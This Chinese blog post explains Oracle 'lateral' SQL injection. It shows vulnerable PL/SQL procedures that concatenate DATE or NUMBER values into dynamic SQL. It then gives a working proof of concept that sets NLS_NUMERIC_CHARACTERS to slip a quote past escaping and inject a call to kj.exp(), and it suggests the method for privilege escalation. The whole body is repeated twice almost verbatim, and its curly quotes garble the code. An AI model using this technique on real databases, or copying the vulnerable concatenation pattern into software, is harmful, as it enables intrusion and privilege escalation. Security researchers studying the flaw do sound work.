ORACLE LATERAL-SQL-INJECTION 个人见解应用
最近忙啊忙啊的，今天终于有点点时间抽出来看看技术文章了，最近国外又出了关于新型ORA注入技术的PAPER，赶紧测试，主要是出现在SQL语句字符拼 接的时候，DATE类型转换为VARCHAR 以及
如果直接执行SQL语句或者参数绑定则不用担心太多，
如以下ORACLE存储过程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要担心遭受到SQL新型注入攻击，那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢！？一般都是采用了动态SQL而又不采用参数绑定的语句。
例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE
看以下存储过程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存储过程或者函数等，也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的，
老外的PAPER讲解得非常详细了 ，我在这里也不废话。
惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号！
看以下语句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
输出一下结果
1000′10001
只是多了一个单引号，那有什么用呢？乐观的来说！在特定情况下是很有价值的！看以下一个存储过程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);
end;
内部对varchar类型进行替换了！我们可以进行测试
begin
numinjpoc(1000,”'–');
end;
其输出SQL语句为
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
单引号被转义掉了
那么如果我们结合这个NUMBER类型怎么进行注射呢？
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
end;
看看输出结果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'
这样就可以间接的攻击它…
在某中程度才来需要ALTER SESSION 配合后，再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路，但是对于单语句进行SQL注射攻击，以结果为向导的话！这样的方式没多大作为。
如以下ORACLE存储过程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要担心遭受到SQL新型注入攻击，那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢！？一般都是采用了动态SQL而又不采用参数绑定的语句。
例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE
看以下存储过程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存储过程或者函数等，也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的，
老外的PAPER讲解得非常详细了 ，我在这里也不废话。
惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号！
看以下语句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
输出一下结果
1000′10001
只是多了一个单引号，那有什么用呢？乐观的来说！在特定情况下是很有价值的！看以下一个存储过程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);
end;
内部对varchar类型进行替换了！我们可以进行测试
begin
numinjpoc(1000,”'–');
end;
其输出SQL语句为
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
单引号被转义掉了
那么如果我们结合这个NUMBER类型怎么进行注射呢？
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
end;
看看输出结果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'
这样就可以间接的攻击它…
在某中程度才来需要ALTER SESSION 配合后，再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路，但是对于单语句进行SQL注射攻击，以结果为向导的话！这样的方式没多大作为。
精彩图集
精彩文章